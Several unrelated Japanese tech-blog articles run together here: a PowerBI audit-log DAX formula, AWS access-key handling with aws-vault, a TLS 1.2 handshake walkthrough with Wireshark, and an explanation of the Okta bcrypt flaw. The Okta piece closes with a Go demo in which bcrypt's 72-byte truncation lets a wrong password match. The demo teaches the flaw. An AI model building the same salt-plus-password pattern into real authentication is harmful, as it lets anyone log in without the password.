True_False_Filtering_Table =
ADDCOLUMNS (
    'allserver-logs',
    "IsMatchingSmartDBLog", // 新しい列名 (この監査ログに対応する申請ログがあるか)

    // 1. 現在の 'allserver-logs' の行の値を取得 (計算列の行コンテキスト)
    VAR currentServerLog_UserId = 'allserver-logs'[user id]
    VAR currentServerLog_ServerName = 'allserver-logs'[server name]
    VAR currentServerLog_Timestamp = 'allserver-logs'[timestamp]

    // 2. 現在の行の値が有効か確認 (元のメジャーの isSingleServerLogRowContext に相当)
    VAR isCurrentRowContextValid =
        NOT ISBLANK( currentServerLog_UserId ) &&
        NOT ISBLANK( currentServerLog_ServerName ) &&
        NOT ISBLANK( currentServerLog_Timestamp )

    // 3. 条件に合致する 'allsmartdb-logs' (Web申請ログ) の行数をカウント
    VAR MatchingSmartDbLogsCount =
        IF (
            isCurrentRowContextValid, // 有効な行コンテキストの場合のみカウント
            COUNTROWS (
                FILTER (
                    'allsmartdb-logs', // Web申請ログテーブルを検索対象とする
                    'allsmartdb-logs'[user id] = currentServerLog_UserId &&
                    'allsmartdb-logs'[server name] = currentServerLog_ServerName &&
                    'allsmartdb-logs'[timestamp_start] <= currentServerLog_Timestamp &&
                    'allsmartdb-logs'[timestamp_end] >= currentServerLog_Timestamp
                )
            ),
            0 // 無効な行コンテキストの場合はカウント0 (結果としてBLANK()につながる)
        )

    // 4. 結果を返す
    RETURN
        IF (
            isCurrentRowContextValid, // 有効な行コンテキストの場合のみ TRUE/FALSE を返す
            IF ( MatchingSmartDbLogsCount > 0, TRUE(), FALSE() ), // 合致あればTRUE
            BLANK () // 無効な行コンテキストの場合は BLANK() を返す
        )
)

ビジュアライゼーション

実際にPowerBI Desktop上で見られる最終的な画面は下記レポートビューになります。スペック次第ではありますが、こちらの画面はリアルタイムでカスタマイズできるため、今後を見越して閲覧可能性のあるデータをこの出力手前の時点まで過不足なく保持しておくと、のちのち見たいデータを反映させたくなったときにモデル改修が不要になります。

• 上青枠） データテーブルの右上部から [データのエクスポート] を選択すると、[csv形式] でファイルをエクスポートできます。
• 下青枠） 出力されたデータテーブルにの各カラムに対しフィルタリングが可能です。

PowerBI Serviceとの連携

※今回は連携しない方向になりましたのでこちらを実装していませんが、完全自動実行にあたりトリガーなども自動プッシュしたい際には下記の On-premis Gateway というソフトウェアとの連携が必須となるため紹介だけしておきます。

• オンプレミスのデータ ゲートウェイ - Power BI | Microsoft Learn

オンプレミスサーバとPower BI間のデータ転送をセキュリティで保護するには、On-premis Gatewayが必要です。VPNのような役割を担っていると考えてもらってよいと思います。

さいごに

PowerBIによる監査ログ自動化に関する取り組みと、その前提となる基礎知識や専門用語についてご紹介しました。

PowerBIは、直感的で使いやすいインターフェースが提供されたBIツールで初心者でもすぐに使いこなすことが可能です。しかし、使いこなす上では “データアーキテクト” の知見が必要だと感じました。初心者においてはデータの構成や構造についてはすでに設計構築が完了している前提で、その後設計書に基づいて組み上げる際に有用なツールではないでしょうか。

今回のような監査ログなど大量のデータを加工したり突合したりという処理を含めると、PowerBI特有のM言語とDAX関数の他、特に実用的な「設計」を行う上では、データアーキテクチャに関する知識は非常に重要であると言えます。知識が浅いと、パフォーマンス問題、メンテナンス性の低下、誤った分析結果などに繋がる可能性があります。

またPowerBIそれ自体は、以下の点からプログラミング初学者が勉強するには有用なソフトウェアだとも感じております。

1. M言語やDAX関数というプログラミング言語を実際に触ることができる
   命名方法や関数のスコープの切り方を学べる（リーダブルコード的な観点）
2. CLIとGUIを相互比較しながら挙動を確認できる
3. 常にデータ型を意識する練習になる
4. データアーキテクト設計能力を養う練習になる
   PowerBI上でも、大規模データや複雑な変換ロジックを扱う場合、データアーキテクチャの理解がボトルネックの特定やパフォーマンス改善に役立つことがあります。

ぜひ今回の記事を参考にしていただきPowerBIの理解やご自身の勉強に役立てていただくきっかけとなれば幸いです :)

はじめに

Technology Innovation Groupの神崎です。

社内Slackにてユーザーが利用するAWSアクセスキー管理のベスプラとはなんぞや？という話題が出たことをキッカケにして、改めて自分の理解の棚卸も兼ねて、どういう管理方法をすればいいのかを考えてみました。

そもそもAWSアクセスキーを使わないのがベスプラではあるのは間違いないのですが、 顧客へのアカウント引き渡し等がある、フェデレーション先に基盤がある社内環境と繋がっていないなど、様々な理由でアクセスキーを使わざるを得ない場面はあり、そういった場面でどうすべきかを整理しました。

TL;DR

• アクセスキーは、STSトークン(Security Token Serviceトークン)を取得する時のみ利用する
• STSトークン取得時は、アクセスキーだけでなく、MFAによる認証を必須とする
• アクセスキーやSTSトークンはプレーンテキストで保存せず、暗号化して保存する

上記を満たすツールとして、aws-vaultを使う！

頭の体操編

どのようなツールを使えばよいのか？を考える前に、要件めいたものを整理してみたいと思います。

認証情報管理の考え方

AWSアクセスキーに限らずですが、認証を設計するに当たっては、認証の強度など、”認証”が”認証”として働くために必要な機能を考える他に、認証情報が漏れてしまった時の被害範囲の最小化と、認証情報を取り扱う際の利便性のバランスを考える必要があります。

例えば、みなさんも馴染み深い認証連携の仕組みであるSingle Sign-On(SSO)では、ID・パスワードという半永続的な認証情報を直接連携せず、代わりにCookieであったり、トークンであったり（それがXMLだったりJWTだったりはするのですが）を使って一時的な認証情報を作り出してやり取りをします。

一時的な認証情報を利用することで、仮にその認証情報が悪用されたとしても、被害範囲を小さくできます。それは、トークンの有効期限であったり、相手によって渡すトークンを変えることによって実現されます。これが仮にID・パスワードを直接連携するようなレガシーなシステムであると、そのシステムに侵入されてしまったら最後、その認証情報がアクセスできる範囲すべてへのアクセス権を得ることと同義になってしまいます。

一方、認証情報を何回も入力することはストレスです。一時的な認証情報を使うことがセキュリティ上どんなに好ましかったとしても、毎度毎度認証が要求されるとそれを回避するモチベーションが出てきてしまいます。そのため、SSOの仕組みでは、IdPがユーザーの認証を代行した後は、システムが自動的に一時的な認証情報を作り出しやり取りし、個別に認証情報を入力する手間が省かれています。

上記のような一時的な認証情報がやり取りできる前提で、半永続的な認証情報を利用する際は本人確認を厳格に行う、具体的には複数の要素を利用した認証をすることがスタンダードになってきています。そうすることで、認証の強度を上げつつも、利便性を損なわないような仕組みが可能となっています。

AWSの世界では？

Well-architected Frameworkでは以下のように書かれています。

SEC02-BP02 一時的な認証情報を使用する

一般的なアンチパターン:
開発者が、フェデレーションを使って CLI から一時的な認証情報を取得するのではなく、IAM ユーザーからの長期的なアクセスキーを使用する。

そもそもアクセスキーを使うべきではない、というのが公式回答ではありますが、冒頭述べたような理由でどうしてもアクセスキーが必要な場合は、どうすべきかを考えてみます。
先ほど述べた、①認証の強度、②被害範囲の最小化、③利便性の獲得の3つの観点から何ができるかを整理します。

①認証の強度

アクセスキー利用時に必要な認証強度を考えてみます。
まずは、通常のコンソールアクセス時にどのような制限をかけるべきかを参考にしましょう。

SEC02-BP01 強力なサインインメカニズムを使用する

IAM ポリシーを作成して、MFA サインインを適用し、ユーザーが自分のパスワードと MFA デバイスを管理できるようにします。

何かしらの手段で他要素での認証をかけることは必須と言えそうです。

しかし、アクセスキーを利用する場合は、一部の操作を除き、多要素での認証ができません¹。たとえ、ログイン用にMFAデバイスの登録がある場合でも、それを使い追加認証をする手段が現時点ではありません。

そのためアクセスキーを使う場合は必要な認証の強度を実現できないという前提に立つ必要があります。

②被害範囲の最小化

被害範囲の最小化を実現するためには、前段で述べたように、認証情報を利用して作業ができる範囲を絞ることが必要です。

①の場合と同様に、通常のコンソールアクセス時にどのような制限をかけるべきかを参考にします。

IAM: IAM ユーザーに MFA デバイスの自己管理を許可する ²

{
  "Sid": "BlockMostAccessUnlessSignedInWithMFA",
  "Effect": "Deny",
  "NotAction": [
      "iam:CreateVirtualMFADevice",
      "iam:EnableMFADevice",
      "iam:ListMFADevices",
      "iam:ListUsers",
      "iam:ListVirtualMFADevices",
      "iam:ResyncMFADevice"
  ],
  "Resource": "*",
  "Condition": {
      "BoolIfExists": {
          "aws:MultiFactorAuthPresent": "false"
      }
  }
}

上記ポリシー例では、MFAデバイスなしでサインインしている場合は、MFAデバイスの登録に必要な権限のみを与え、他の作業をする際はMFAを必須としています。
「アクセスキーを単独で利用している状態」は「MFAデバイスなしでサインインしている状態」と同じですので、アクセスキーを使う場合についても、自身のロックアウトを防ぐ権限以外は付与しないことが、被害拡大の防止の観点からは必要と言えます。

また、本記事の趣旨と外れますが、アクセスを許可するIPアドレスを絞ることも強力な手段の1つです。

③利便性の獲得

①・②の考察を総合すると通常の作業をする際はMFA認証した状態で作業することが要求されそうです。

前述の通り、アクセスキー+MFAという組み合わせで認証はできませんので、STSを利用した一時的な認証情報³が必要となります。

また、合わせて、認証情報の保管についても考慮が必要です。

SEC02-BP03 シークレットを安全に保存して使用する

一般的なアンチパターン:
認証情報をローテーションしない。
ソースコードまたは設定ファイルに長期的認証情報を保管する。
認証情報を暗号化せずに保管する。

通常、aws configure等で設定をしたアクセスキーは~/.aws/credentialsに平文で保存されてしまいますが、こちらは非推奨な設定であって、アクセスキー自体の保管にもシェルスクリプトやツールを使った暗号化が必要そうです。

また、セッショントークンには有効期限があるため、実利用時には現時点で取得できているセッショントークンの有効期限の管理を組み込む必要があります。

実践編

上記を簡単に解決する手段として、aws-vaultを使うことができます。

このツールは、アクセスキーの暗号化ができるだけではなく、セッショントークンの取得や暗号化、有効期限管理と自動更新、さらにあたかもEC2内のトークンサーバーのように動く機能を持つなど、認証情報管理の十徳ナイフ的なツールです。また、暗号化のバックエンドを選ぶことができ、Windows Credential Manager、OS X Keychain、Gnome Keyringなど、各OSに付随する暗号化サービスを利用できます。

どのような設定で利用すれば、先に述べた要求を満たすツールとなるのでしょうか。

STSを取得するようにする

aws-vaultはデフォルトでsts get-session-tokenを使ったSTSを利用します。
ただし、MFAを利用して認証をかけるためには~/.aws/configファイルにmfa_serial設定が必要になります。

[profile jumpuser]
mfa_serial=arn:aws:iam::{account-id}:mfa/{mfa-device}

こちらは、AssumeRoleをする場合も同様で、mfa_serialがあるプロファイルに関しては、sts assume-roleにてSTSを取得しますが、ないプロファイルについてはSTSを取得しにいきません。

# STSを使う
[profile dev]
source_profile=jumpuser
role_arn=arn:aws:iam::{account-id}:role/{role-name}
mfa_serial=arn:aws:iam::{account-id}:mfa/{mfa-device}

# STSを使わない
[profile dev]
source_profile=jumpuser
role_arn=arn:aws:iam::{account-id}:role/{role-name}

わかりにくいですが、ここに詳細が載っています。

WSL2上で使うには…？

WindowsのWSL2を利用する方も多いと思います。

その際の悩ましい問題として、暗号化バックエンドとしてWindowsを使うべきか、Linuxを使うべきかの問題があると思います。
結論、どちらでもよいと思う⁴のですが、簡単にPros/Consをまとめてみました。

私はWindows Credential Managerを使うのがわかりやすいと感じましたので、その設定例を示します。

WSLを越境してCredential Managerを使う

このケースでは、Windows側の%UserProfile%\.aws\configファイルと、Linux側の~/.aws/configファイルをお互いに意識して管理することが必要です。

仕組みとしては、Windows側で認証情報を管理し、Linux側でaws-cli等を呼び出す場合は、credential_processでaws-vault.exeを叩いて、セッショントークンをWindows側から取得するようにします。

こうすることで、Linux側では通常のように--profileオプションによるAssumeRoleを行いつつ、アクセスキーや取得した一時認証情報をWindows側に保持し続けることができます。

# Windows側のファイル
[default]
region=ap-northeast-1

[profile jumpuser]
mfa_serial=arn:aws:iam::{account-id}:mfa/{mfa-device}

[profile dev]
include_profile=jumpuser
source_profile=jumpuser
role_arn=arn:aws:iam::{account-id}:role/{role-name}

# Linux側のファイル
[default]
region=ap-northeast-1

[profile dev]
credential_process=aws-vault.exe export --format=json dev

さいごに

今回初めての寄稿だったのですが、普段の業務で感覚値的にはこうだろうと思っていることを紐解いて、改めてなんでなんだっけ？と考えるのは非常によい機会になりました。

改めてWell-architected Frameworkを読み込んだり、aws-vaultのマニュアルを読んだり、あるいはWindows Credential Managerの仕様を調べたりしてみて、一次リソースを読むのはやっぱり大事だなと思うと共に、実はこうするのがよかったのでは？ということも色々発見できたので、やはり感覚だけではなく、人に読んで貰う読み物を作るという行為は大事だなと改めて感じました。

【理論編】HTTPS通信の中身を見て、どのようにしてセキュアな通信が確立されるかを理解するの続編です。

TLSハンドシェイクの中身を順番に見ていくため、理論編で示したシーケンス図をチラ見しながら読んでいただけると理解が進みやすいかと思います。

また、TLSハンドシェイクについて理解を深めたい方は、あわせて理論編もお読みください。

本記事 (実践編) でやりたいこと

理論編では、以下の3点について解説してきました。

• 各アルゴリズムが何のために使われるかを整理する
• TLS1.2ハンドシェイクを、シーケンス図を用いて整理する
• 鍵交換方式について理解を深める

本記事 (実践編) では、「Wireshark」というツールを用いて TLS ハンドシェイクの中身を実際に覗いてみて、理論編の内容を確認していきます。

では、いきましょう。

実践編

実践編では、具体的に以下について確認していきます。

• HTTP 通信では、平文がそのまま見えてしまうこと
• 理論編のシーケンス図で示した、TLS1.2 ハンドシェイクの各フェーズ ( Client Hello , Server key exchange 等) で送信される情報
• HTTPS 通信ではデータが暗号化されており、平文の内容を確認できないこと

準備

通信の中身を見るための準備について簡潔に記載します。

不要な方は、通信の中身を見てみる まで飛んでください。

準備1: 証明書の作成

HTTPS 通信では、公開鍵が被証明者のものであることを証明するため、「証明書」を用います。

手元でHTTPS 通信するための準備として、自己証明書を作成しました。

具体的には、以下の手順を実行します。

• 秘密鍵の生成
• CSR (Certificate Signing Request, 証明書署名要求) の作成
• 自己証明書の作成

OpenSSL を使って証明書を作成します。証明書の作成方法については、 食べる！SSL！ ―HTTPS環境構築から始めるSSL入門 などを参考にしました。

1-1. 秘密鍵の作成

以下コマンドで生成します。

openssl genrsa 2048 > /path/to/server.key

openssl req -text < server.key コマンドで、確認できます。

RSA Private-Key: (2048 bit)
modulus:
    00:b3:a8:59:~
publicExponent: 65537 (0x10001)
privateExponent:
    02:2a:4d:ae:~~
prime1:
    00:e7:d1:1b:~~
prime2:
    00:c6:66:47:~~
exponent1:
    73:ad:3d:dc:~~
exponent2:
    53:fb:ab:ae:~~
coefficient:
    00:dd:02:c8:~~
writing RSA key
-----BEGIN RSA PRIVATE KEY-----
~~
-----END RSA PRIVATE KEY-----

1-2. CSR の作成

以下コマンドで作成します。

openssl req -new -key /etc/~/server.key > ~~/server.csr

以下が確認できます。

Certificate Request:
    Data:
        Version: 0 (0x0)
        Subject: C=JP, ST=Tokyo, L=hoge, O=hogehoge corp., CN=local.hoge/emailAddress=hogehoge@gmail.com
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (2048 bit)
                Modulus:
                    00:b3:a8:59:~~
                Exponent: 65537 (0x10001)
        Attributes:
            a0:00
    Signature Algorithm: sha512WithRSAEncryption
         89:84:54:66:~~
-----BEGIN CERTIFICATE REQUEST-----
~~
-----END CERTIFICATE REQUEST-----

1-3. 証明書の作成

以下コマンドで、証明書を作成します。

openssl x509 -req -signkey server.key -in server.csr -out server.crt -extfile SAN.txt

準備2: サーバー立ち上げ

今回は Go を使ってサーバーの立ち上げを行いました。 https フラグを指定することで HTTPS ポートが開かれるようになっています。

package main

import (
	"flag"
	"fmt"
	"net/http"
)

func handler(w http.ResponseWriter, r *http.Request) {
	fmt.Fprintf(w, "Hello World")
}

func main() {
	var httpsFlag = flag.Bool("https", false, "bool flag")

	flag.Parse()
	fmt.Printf("param -https : %t\n", *httpsFlag)

	http.HandleFunc("/", handler)

	if *httpsFlag {
		certFile := "server.crt"
		keyFile := "server.key"

		fmt.Println("Starting server on port :8443")
		if err := http.ListenAndServeTLS(":8443", certFile, keyFile, nil); err != nil {
			fmt.Println(err)
		}
	} else {
		fmt.Println("Starting server on port :8080")
		if err := http.ListenAndServe(":8080", nil); err != nil {
			fmt.Println(err)
		}
	}
}

通信の中身を見てみる

準備が整ったので、通信の中身を見ていきましょう。

通信の中身を見るにあたり「Wireshark」というツールを用いました。ここからダウンロードできます。

HTTP 通信の場合

以下でサーバー立ち上げを行い、

go run main.go

curl で GET リクエストを送ってみます。

curl -i http://localhost:8080

ここで、Wireshark でパケットを確認してみます。
サーバから返される Hello World! というテキストが、平文のまま送信されていることが分かりますね。

HTTPS 通信の場合

サーバーを立ち上げた後、

go run main.go -https

curl でリクエストを送ります。

curl --tls-max 1.2 --insecure -i https://localhost:8443

$ man curl
  -k, --insecure
              (TLS SFTP SCP) By default, every secure connection curl makes is verified to be secure before the transfer takes place. This option
              makes curl skip the verification step and proceed without checking.

              When this option is not used for protocols using TLS, curl verifies the server's TLS certificate before it continues: that the
              certificate contains the right name which matches the host name used in the URL and that the certificate has been signed by a CA
              certificate present in the cert store.  See this online resource for further details:
               https://curl.se/docs/sslcerts.html

Wireshark でパケットを確認してみます。

通信データが Encrypted Application Data となっています。無事暗号化されていることが分かりますね。

本題: HTTPS 通信の際の TLSハンドシェイクを追ってみる

では、暗号化されるまでに、どんな情報がクライアントとサーバー間でやりとりされているかを、順を追って見ていきます。

必要に応じて、「理論編」の「シーケンス図」も参考にしていただければと思います。

再度 curl でリクエストを送ります。

curl --tls-max 1.2 --insecure -i https://localhost:8443

（1） Client Hello

クライアント側が、対応している暗号スイートの一覧をサーバーに送っていることが分かります。

また、ランダム文字列 Random も一緒に送信していることが分かります。これはマスタシークレットの生成に使用されます。

（2） Server Hello

サーバーが、選択した暗号スイート (TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256) をクライアントに伝えています。

• 鍵交換アルゴリズム : ECDHE (Elliptic Curve Deffie Helman Ephemeral)
• 認証: RSA
• ハッシュアルゴリズム: SHA256
• 暗号化アルゴリズム: AES128_GCM

また、ランダム文字列 Random も一緒に送信していることが分かります。（1）と同様、マスタシークレットの生成に使用されます。

（3） Certificate

サーバー側がサーバー証明書をクライアントに送信しています。

• 証明書作成/検証のためのアルゴリズムとして sha256WithRSAEncryption が採択されていることが分かります
• クライアントは、以下の手法でサーバ証明書の正当性を検証します。
  • サーバの証明書からハッシュ値を生成する ( hash_a とする)
  • この証明書に付属している電子署名を、公開鍵を用いて復号する ( hash_b とする)
  • hash_a と hash_b が一致することを確認する

（4） Server Key Exchange

鍵交換アルゴリズムとして ECDHE を使用していることが確認できます。

Server Key Exchangeで、サーバーは named_curve (楕円曲線暗号の事前パラメータ群の名前) として x25519 を選択しています。
Pubkey (公開鍵) も同時に送信しています。(シーケンス図の公開鍵 B_pub に相当)

また、 signature (電子署名) も送られてきていることがわかります。これは、 DH パラメータに対してサーバーの RSA 秘密鍵を適用することで作成された電子署名です。named_curve や pubkey が正当なサーバから送られてきていることを検証するために用いられます。
※ サーバ証明書に付属されている電子署名とは異なるものなので、混乱しないよう気をつけてください。

（6） Client Key Exchange

クライアント側も、Client Key Exchange で public key を送信しています。 (シーケンス図の秘密鍵 A_pub に相当)

（7）~（10）: Change cipher spec, Finished

Change Cipher Spec で暗号化モードに切り替えます。

また、Finished の Verify Data で、全メッセージのハッシュ値を用いて改ざん検知を行います。

(client 側のものだけ載せます)

暗号化後の通信

データが暗号化され、謎の文字列になっていることが分かります。やったね。

おまけ: HTTPS 通信を復号してみる

SSLKEYLOGFILE を指定することで、プリマスタシークレットキーをファイルに書き出すことができます。

SSLKEYLOGFILE=/path/to/sslkeys.log curl  --insecure --tls-max 1.2  -i https://localhost:8443

このプリマスタシークレットキーが書き出されたファイルを、以下のように Wireshark 内の設定で指定してあげることで、データの復号できます。

詳しくは Wireshark の Wiki や こちらの記事 をご覧ください。

すると、Protocolが TLSv1.2 → HTTP2 に変わっていることが分かります！

Hello World! が get されていることが分かります。無事 (？) 復号されていますね。

まとめ

通信の中身を追ってみたことで、どのように SSL/TLS ハンドシェイクが行われ、セキュアな通信が確立されるかを、実感をともなって理解できました。

また、ハンドシェイク後、実際にデータが暗号化されていることも確認できました。

みなさんも、通信の中身を追ってみると色々と面白いことがわかるかもしれません。

おわり。

参考文献

(※ 理論編に載せてあるものと同じです)

⚪︎全体

SSL/TLS の仕組みを勉強する上で、以下の技術書が非常に参考になりました。

特に、1冊目は非常に体系的かつ網羅的にまとまっているので、SSL/TLS について勉強したい人は持っておいて損はないと思います。2冊目も分かりやすく、SSL/TLS について応用情報程度の知識しかなかった自分でも理解しやすかったです。自己証明書の作成なども、こちらの本を参考にしました。 (ただし、少し古めの本で、TLS1.3 については書かれていません。)

• プロフェッショナルTLS＆PKI 改題第2版
• 食べる！SSL！　―HTTPS環境構築から始めるSSL入門

⚪︎ DHの理解

Diffie-Hellman 鍵交換方式については、以下を参考にしました。

• RFC 7748 - Elliptic Curves for Security 日本語訳
• TLS・SSLハンドシェイクの仕組みは？ | Cloudflare
• 楕円曲線暗号のPythonによる実装その1（有限体とECDH鍵共有）
• RFC 7748 - Elliptic Curves for Security
• Standards for Efficient Cryptography | SEC 2: Recommended Elliptic Curve Domain Parameters

⚪︎ Wireshark

wireshake でハンドシェイクを確認する方法については、以下を参考にしました。

• Wiresharkでハンドシェイク（Handshake）を確認【TLS1.2】 | Japanese PKI Blog

「ん？そういえば、HTTPS 通信 (HTTP over SSL/TLS) では実際どのようにセキュアな通信が確立されているんだろう？」 と、ふと気になってしまうこと、ありませんか？私はありました。

というわけで、SSL/TLS について書籍などで学んでみたのですが…

• アルゴリズムが沢山出てきて頭がこんがらがる…。結局どのフェーズでどのアルゴリズムが使われているんだろう？
• TLS ハンドシェイクの中では、実際どういった通信が行われているのだろうか。ハンドシェイク確立後はちゃんと暗号化されているのだろうか。

…というモヤモヤが残りました。

本記事 (理論編) と、続編の実践編で、この2点の疑問を解決していきます。

本記事でやりたいこと

本記事 (理論編) では、以下の3点について解説します。

• 各アルゴリズムが何のために使われるかを整理する
• TLS1.2ハンドシェイクの各フェーズで使用されるアルゴリズムと送信される情報を、シーケンス図を用いて整理する
• 鍵交換方式 (どのようにして暗号化に用いる共通鍵を共有するか) について理解を深める

なお、実践編では以下を行っていきます。「細かいことはいいから、通信の中身を見たい」という方は、続編の実践編をお読みください。

• 「Wireshark」というツールを用いて TLS ハンドシェイクの中身を実際に覗いてみて、理論編の内容を確認する

本記事では扱わない内容

上記の「本記事でやりたいこと」に解説するポイントを絞るため、以下については本記事での解説の対象外としています。あらかじめご了承ください。

• PKI (公開鍵基盤) まわりについての解説
• ハンドシェイク後の暗号化についての解説

理論編

どうして SSL/TLS 通信が必要なのか

セキュアな通信のためには、以下の4点に気を付ける必要があります。

1. 「なりすまし」されても気づけるようにする
2. 「否認」されないよう、本人でしか送付できない情報形式にする
3. 「改ざん」されても検知できるようにする
4. 「盗聴」されてもデータが読めないようにする

SSL/TLS を用いることで、これらを実現できます。

SSL/TLS で用いられる手法と、使用される代表的なアルゴリズム

上記4点を保証するため、それぞれ以下のような手法とアルゴリズムが用いられます。

TLS1.2 ハンドシェイクのシーケンス図

SSL/TLS通信は大きく、ハンドシェイクフェーズと、暗号化後のデータ転送フェーズに分けられます。
このうち、ハンドシェイクフェーズの流れとしては、大まか以下の通りです。

1. 使用する暗号化スイートの合意
   • 認証アルゴリズム
   • 共通鍵暗号方式 (データ転送時に使う暗号化用アルゴリズム)
   • ハッシュアルゴリズム
2. サーバーの認証
3. データ転送で使用する鍵の確立
4. ハンドシェイク中の改ざん検知

TLSハンドシェイクが上記のステップで行われた場合に、サーバとクライアント間でやり取りされる各メッセージと値について、以下のシーケンス図にまとめました。

シーケンス図内では、各アルゴリズムを太字で表記しています。各フェーズでどのアルゴリズムがなんのために使われるかの整理に活用いただければ幸いです。

今回は、以下の暗号スイートが用いられていると仮定しています。

実践編では、これらの各フェーズにおける通信の中身を確かめていきます。

ステップ3 の鍵の確立方法についての補足

「鍵の確立方法」は、TLSハンドシェイクの流れを理解するために特に重要なので、補足します。データ転送フェーズでは、共通鍵を使用してデータの暗号化を行います。この共通鍵を作成するために「プリマスターシークレット」を生成する必要があります。

そして、このプリマスターシークレットは、「鍵交換アルゴリズム」を用いることで生成されます。

鍵交換の際に行われることについて、以下に超ざっくりまとめます。

シーケンス図および通信の中身について理解する上では、以下くらいの粒度で理解しておけば問題ないかと思います。

• サーバとクライアントの双方が秘密鍵を生成し、保持する
• 秘密鍵とパラメータ (ECDHE の場合は named_curve) から公開鍵を生成し、サーバ⇄クライアント間で交換する
• 相手から受け取った公開鍵と自身が保持する秘密鍵から、プリマスタシークレットを生成する
• プリマスタシークレットは、サーバとクライアントで同じものになる

以下、代表的な鍵交換アルゴリズムです。

• DHE (Diffie-Hellman Ephemeral)
• ECDHE (Elliptic curve Diffie–Hellman Ephemeral)

の2つについて、もう少し詳しく紹介します。

DHE (Diffie-Hellman Ephemeral)

DHE の仕組みはざっくり以下の画像のような感じです。

鍵交換方式として DHE を用いることで、秘密鍵 を隠したまま、強力なプリマスタシークレット をサーバー側 (ボブ)とクライアント側 (アリス) の双方で導き出すことができます。

DHE ではセッションごとに新しい乱数とパラメータを使って鍵を交換するため、前方秘匿性 (= あるセッションの鍵が漏洩しても、過去のセッションの通信内容を復号できない性質) が得られます。(DHEのE: Ephemeral は、「パラメータが使い捨てであること」を指しています。)

ただし、DHE にはセキュリティレベルを担保しようとすると、処理が遅くなるという欠点があります。これは、DHE を用いて高いセキュリティレベルを担保しようとした場合、非常に大きい素数を用いる必要があり、計算量が大きくなってしまうためです。

ECDHE (Elliptic curve Diffie–Hellman Ephemeral)

DHE と同様に前方秘匿性のある鍵交換方式として、 ECDHE が挙げられます。

DHE では冪乗の計算が使用されますが、ECDHE では楕円曲線上の掛け算が使用されます。ECDHE を用いることで、DHEよりも少ないビット長で高いセキュリティレベルを確保できるため、こちらが現在の鍵交換方式の主流となっています。

RFC7748 において Curve25519 と Curve448 と呼ばれる楕円曲線が定義されており、計算に必要なパラメータ一覧が事前に定義されています。

そのため通信の際は、 named_curve というパラメータにいずれかの曲線名を指定するだけで、計算に必要なパラメータをクライアント・サーバ間で共有できます。

ECDHE鍵共有のアルゴリズム自体を深く知りたい場合は、円曲線暗号のPythonによる実装その1（有限体とECDH鍵共有）, SEC 2: Recommended Elliptic Curve Domain Parameters なども参考になるかと思います。

まとめ

両者の特徴をまとめると、以下のようになります。

まとめ

理論編では、以下の3点について解説してきました。

• 各アルゴリズムが何のために使われるかを整理する
• TLS1.2ハンドシェイクのを、シーケンス図を用いて整理する
• 鍵交換方式について理解を深める

実践編では、「Wireshark」というツールを用いて TLS ハンドシェイクの中身を実際に覗いてみて、理論編の内容を確認していきます。

参考文献

⚪︎全体

SSL/TLS の仕組みを勉強する上で、以下の技術書が非常に参考になりました。

特に、1冊目は非常に体系的かつ網羅的にまとまっているので、SSL/TLS について勉強したい人は持っておいて損はないと思います。2冊目も分かりやすく、SSL/TLS について応用情報程度の知識しかなかった自分でも理解しやすかったです。自己証明書の作成なども、こちらの本を参考にしました。 (ただし、少し古めの本で、TLS1.3 については書かれていません。)

• プロフェッショナルTLS＆PKI 改題第2版
• 食べる！SSL！　―HTTPS環境構築から始めるSSL入門

⚪︎ DHの理解

Diffie-Hellman 鍵交換方式については、以下を参考にしました。

• RFC 7748 - Elliptic Curves for Security 日本語訳
• TLS・SSLハンドシェイクの仕組みは？ | Cloudflare
• 楕円曲線暗号のPythonによる実装その1（有限体とECDH鍵共有）
• RFC 7748 - Elliptic Curves for Security
• Standards for Efficient Cryptography | SEC 2: Recommended Elliptic Curve Domain Parameters

⚪︎ Wireshark

wireshake でハンドシェイクを確認する方法については、以下を参考にしました。

• Wiresharkでハンドシェイク（Handshake）を確認【TLS1.2】 | Japanese PKI Blog

先日、Oktaでユーザー名が52文字を超えるとどのようなパスワードでもログインできてしまうという問題が公表されました。どういう原理なのか？というのが話題になりましたが下記のサイトに詳しく書かれています。

Okta AD/LDAP Delegated Authentication - Username Above 52 Characters Security Advisory

パスワードをサーバー側に保管するときに「プレーンテキストではなく、ハッシュ化しよう」というのは多くのソフトウェア開発者には常識になりつつあるかもしれません。ハッシュ化について強く言われ始めたのはここ15年とかだと思うので、まれに昔実装されていたまま放置されているとかはあるかもしれませんが・・・

しかし、このハッシュ化で使われるbcryptの参照実装含め、多くの実装では72バイトを超える文字列が来た場合に、72バイトに黙って切り詰めてから処理する実装が多いというのがあります。そのため、先頭に着けるソルトが長すぎて72バイトを超えてしまうと、パスワード部分が削除されてハッシュ化されてしまうため、どのようなパスワードでもログインできるようになってしまうと。

Oktaでは、ユーザーIDの20バイト以外に、ユーザー名をソルトとして使い、その後ろにパスワードを繋いだ文字列に対してbcryptをかけていたようで、ユーザー名が52文字を超えるとパスワードなしでログインできてしまうと。

userId + username + password

ソルトというのは、パスワードに付与する文字列です。偶然同じパスワードを使っているユーザーがいた場合に、そのままハッシュ化（あるいはストレッチ）すると同じハッシュ値になってしまいます。そうなると、一人のパスワードが解読されてしまうと同じパスワードだとばれてしまいます。そのため、個人ごとに異なる文字列を付与して同じパスワードでも別のハッシュの結果が得られるようにするための文字列がソルトです。ソルトは同一パスワードのハッシュが別のものになるようにするのが目的でそれそのものは秘密な情報ではありません。なので、ユーザーIDやユーザー名をソルトに使っていること自体は問題ありません。

Goでも試してみます。準標準ライブラリのbcryptをとってきます。

$ go get golang.org/x/crypto/bcrypt@v0.4.0

次に検証します。最初に作ったhashは、パスワードをハッシュ化したものです。それに対して別のパスワードを付与した入力値を与えるとエラーがnil（パスワード一致）になってしまうことがわかります。

package main

import (
	"bytes"
	"log"

	"golang.org/x/crypto/bcrypt"
)

func main() {
	password := []byte("password")
	prefix := bytes.Repeat([]byte("a"), 72)

	hash, _ := bcrypt.GenerateFromPassword(append(prefix, password...), bcrypt.DefaultCost)

	wrongPassword := []byte("wrong-password")
	err := bcrypt.CompareHashAndPassword(hash, append(prefix, wrongPassword...))
	log.Println(err)
	// nil
}

